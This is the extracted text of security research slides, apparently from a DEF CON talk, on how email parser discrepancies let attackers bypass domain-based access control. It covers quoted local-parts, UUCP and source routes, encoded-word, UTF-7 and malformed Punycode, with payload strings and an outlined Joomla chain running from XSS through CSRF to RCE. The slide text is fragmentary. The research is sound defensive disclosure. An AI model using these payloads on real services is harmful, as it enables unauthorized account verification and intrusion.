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Why email address parser discrepancies  
matter



Predicting an email 
destination is 

extremely difficult



The shaky  
foundation



RFC2822

RFC “features”
Quoted local-part

"@"@example.com "foo bar"@example.com 

Quoted pair

"\""@example.com   "\\"@example.com

Comments

foo@example.com(bar) foo(bar)@example.com

(bar)foo@example.com 



The wrong question

Which email is valid?

#$&*+/=?^_`{|}~-%psres.net(@example.com

psres.net!#$&*+/=?^_`{|}~-\@example.com



#$&*+/=?^_`{|}~-%psres.net(@example.com

Results in email to: #$&*+/=?^_`{|}~-@psres.net

Which email domain does it go to?

psres.net!#$&*+/=?^_`{|}~-\@example.com

Results in email to: #$&*+/=?^_`{|}~-@psres.net



● Separated by commas

● Final destination declared using colon

Source routes

@example1.com,@example2.com:foo@psres.net



example.com

The percent hack

  

foo % psres.net@example.com

foo @ psres.net



UUCP (Unix To Unix Copy)

● Early protocol before the internet

● Separates host and user part with exclamation mark

● Called the bang path

● Opposite order to an email address

psres.net!user



Archaic protocols back from the dead

Treated as a source route (Postfix 3.6.4)

Treated as UUCP (Sendmail 8.15.2)

psres.net!foo \ @example.com

foo%psres.net ( @example.com



UUCP/source route discovery process



The target's special characters:

[a-z0-9!#$%&'*+\/=?^_`{|}~.-\\]+@[a-z0-9-]+(\.[a-z0-9-]+)*

!#$%&'*+\/=?^_`{|}~-collab\@psres.net

UUCP/source route discovery process



UUCP/source route discovery process



"collab\\"@psres.net> ORCPT=test;admin"@example.com

DEF CON Bonus slide:SMTP parameters in  
Postfix



"psres.net!collab"(\"@example.com

DEF CON Bonus slide: More surprising email  
parsing



collab%psres.net@[127.0.0.1]

DEF CON Bonus slide:More surprising email  
parsing



Unicode  
overflows



PHP chr() function generates characters 0x00-0x100/0-255

How unicode overflows work

while($bytevalue < 0) {
   $bytevalue += 256;
}
$bytevalue %= 256;



Generating an unicode overflow



Real world unicode overflows

Takeaway: Smuggle characters using unicode overflows to bypass validation



Encoded-
word



How encoded-word works  



Probing for encoded-word



Encoded-word  
case studies



Exploiting Gitlab Enterprise  
servers with encoded spaces



Impact: Gain unauthorized  
access to Gitlab Enterprise  

servers

● Verify emails you don't control

● Access domain protected Gitlab Enterprise servers

● Bypass domain-based access control



...
250 OK
RCPT TO:<foo@example.com>
250 OK
...

SMTP conversation recap



Exploiting Gitlab IdP email verification

iso-8859-1



● Verify emails you 
don't control

● Bypass 
domain-based 
access control that 
use Gitlab as an iDP

Impact: Bypass domain-based  
access controls



Exploiting Zendesk email verification



Impact: Gain access to email  
domain protected support centres

● Verify email addresses from domains you don't control

● Bypass email domain validation on Zendesk

● Access email domain protected support centres



Exploiting Github IdP email verification



Verified Github emails



● Verify email addresses 
from domains you 
don't control

● Bypass domain-based 
access controls 

● Break into internal 
networks

Impact: Bypassing domain-based  
access controls on Cloudflare



Base64 encoded-word



Blast from the past

+ADw-script+AD4-alert(1)+ADw-/script+AD4-



Changing the charset



Combining UTF-7 & base64



Blending q-encoding and UTF-7



Encoded-word in other systems like  
PHPMailer



Punycode



What is Punycode?
● Compatible with the current DNS system
● Always starts with xn--
● Special algorithm is used to decode the characters
● The domain münchen.com is encoded as: 

xn--mnchen-3ya.com

● Compatible with the 
current DNS system

● Always starts with 
xn--

● Special algorithm is 
used to decode the 
characters

● The domain 
münchen.com is 
encoded as: 
xn--mnchen-3ya.co
m

What is Punycode?

foo@xn--mnchen-2ya.com → foo@ümnchen.com

foo@xn--mnchen-3ya.com → foo@münchen.com

foo@xn--mnchen-4ya.com → foo@mnüchen.com

foo@xn--mnchen-5ya.com → foo@mncühen.com



foo@xn--0049.psres.net → foo@,.psres.net

Finding malformed  
Punycode in the IDN PHP  

library

foo@xn--0117.psres.net → foo@@.psres.net



Joomla incorrectly escaping emails



Generating an XSS vector from malformed Punycode

Generating an XSS vector from  
malformed Punycode



Trying to exploit Joomla was very difficult

xn--x-0314.xn--0026.xn--0193.xn--0218

<x.. .=

Trying to exploit Joomla was very difficult

→
→xn--x-0314.xn--0026.xn--0193.xn--54_52932

<x.. .='



Generating a style tag



Completing the style tag



Abusing CSS invalid selectors



Exploiting Joomla with two separate accounts



Stealing CSRF tokens



CSRF the admin

● Attacker sends link to admin

● Extracted token is added to CSRF form

● CSRF edits admin template file plants backdoor

● Attacker visits backdoor gets RCE



Demo



Methodology

Methodology



<@_encoded_word_encode('...')>@<@/_encoded_word_encode>

Tooling

Tooling

<@_encoded_word_decode('...')>=40<@/_encoded_word_decode>



Defence

● Disable or filter encoded word

● Always verify emails

● Do not make security decisions based solely on 
email domain
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Valid email addresses can trigger major 
parser discrepancies

Even addresses that end in "@example.com" 
might go elsewhere.

As a result, it's never safe to use email 
domains for access control enforcement

Takeaways
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